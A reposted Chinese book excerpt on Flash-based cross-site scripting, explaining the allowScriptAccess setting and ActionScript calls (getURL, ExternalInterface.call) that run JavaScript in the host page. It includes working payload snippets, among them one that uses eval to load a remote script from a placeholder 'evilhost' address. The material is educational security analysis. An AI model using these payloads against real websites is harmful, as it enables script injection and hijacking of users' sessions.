《XSS跨站脚本攻击剖析与防御》—第6章6.4节利用Flash进行XSS攻击剖析-阿里云开发者社区

开发者社区> 开发与运维> 正文

《XSS跨站脚本攻击剖析与防御》—第6章6.4节利用Flash进行XSS攻击剖析

简介:

本节书摘来自异步社区《XSS跨站脚本攻击剖析与防御》一书中的第6章6.4节利用Flash进行XSS攻击剖析,作者邱永华,更多章节内容可以访问云栖社区“异步社区”公众号查看。

6.4 利用Flash进行XSS攻击剖析
XSS跨站脚本攻击剖析与防御
利用嵌入Web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用或

下面是一个简单的示例:

http://www.test.com/flashxss.swf allowScriptAccess=always>
allowScriptAccess属性控制着Flash与HTML页面的通信,可选的值有3个:

always:允许随时执行脚本操作
never:禁止所有脚本执行操作
samedomain:只有在Flash 应用程序来自与HTML页相同的域时才允许执行脚本操作
其属性值在Flash Player 7及之前版本中预设是always,代表Flash可以调用相同或不同domain的JavaScript函数。Flash Player 8或之后预设是sameDomain,也是现在多数Flash应用的默认状态,但是经常能看到有些程序允许将该选项设置为always。

allowScriptAccess实际上是Flash权限机制的API,前面提过的Security.allowDomain()也是其中一个。这些机制可以用于更改、调用应用程序的安全性环境。

权限机制API如图6-20所示。


c98af5564a164deae378a1bcca0e5765fb190c75

主机应用程序的本机方法权限机制API如图6-21所示。

eaf94ed175ef02253e091e827f9dabea40d4a0dc

而allowScriptAccess和allowNetworking都属于HTML参数权限机制API如图6-22所示。


e5482f3c0fa702aaaf2264d4b44b2f8dfa2a0d12

allowNetworking属性控制SWF 文件对网络功能的访问,因此对CSRF攻击有着至关重要的影响,稍后的内容会有讲解。

更多关于Flash权限机制API及其安全性的内容,可参看Adobe的官方白皮书Adobe Flash Player x Security。

假设在引入Flash文件时,HTML页面的或

在ActionScript中可以使用getURL()函数执行脚本代码。

ActionScript代码如下:

getURL('javascript: alert(123);');
把编译完成的SWF文件嵌入HTML文件中,代码如下:

<object id="foo" width="200" height="150">
  <param name="movie" value="movie.swf">
  <embed AllowScriptAccess="always" name="foo" src="xss.swf" type="application/x- shockwave-flash" width="200" height="150">
  </embed>
</object>

这时,直接浏览上述页面就会弹出一个对话框。

除了使用getURL()方法外,还可以使用ActionScript 3.0中的ExternalInterface类来执行JavaScript脚本。

ExternalInterface类是Flash与JavaScript 交互的枢纽,可以实现JavaScript与 ActionScript之间的所有通信。通过ExternalInterface类的call()方法可以直接调用外部的JavaScript。

ExternalInterface.call()的语法如下:

ExternalInterface.call(functionName:String,...arguments):*
参数说明:

functionName:要调用的JavaScript函数名
arguments:参数,可选
ExternalInterface.call()允许在ActionScript中调用JavaScript,有以下几种方式。

(1)传统用法。

第1个参数是JavaScript中的函数名,其他是要传递的参数。

ExternalInterface.call("alert", "你好!");
结果如图6-23和图6-24所示。


3888e1de5cd53fdf9299c063818f24b2e2f01b09

(2)直接执行JavaScript语句。

直接把JavaScript语句写入参数内:

ExternalInterface.call("function(){alert('xss');}");

或采用如下形式:

var xss:String = "function(){alert('cnn4ry');}"; 
ExternalInterface.call(xss);

(3)使用XML格式。

用XML在ActionScript 3.0中嵌入JavaScript,更方便编写XSS代码,方法如下:

import flash.external.ExternalInterface; 
var myJavaScript:XML = 
<script> 
  <![CDATA[ 
    function(){    
      function xss(){ 
        alert("hijacking"); 
      }; 
      xss(); 
    } 
  ]]> 
</script> 
ExternalInterface.call(myJavaScript);

图6-25所示为执行效果。


63313a6c669af0a3737aba10873af57965d269b1

(4)调用外部JavaScript。

以上方式都是通过调用容器中定义的JavaScript代码来完成,这样在进行XSS时会带来一定的不便。这时可以尝试动态加载外部的JavaScript脚本:

var fun = "var x=document.createElement(\"SCRIPT\");x.src=\"http://evilhost/xss.js\"; 
x.defer=true;document.getElementsByTagName(\"HEAD\")[0].appendChild(x);";
flash.external.ExternalInterface.call("eval", fun);

以上种种都是利用Flash执行XSS的方法。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
开发与运维
使用钉钉扫一扫加入圈子
+ 订阅

集结各类场景实战经验,助你开发运维畅行无忧

其他文章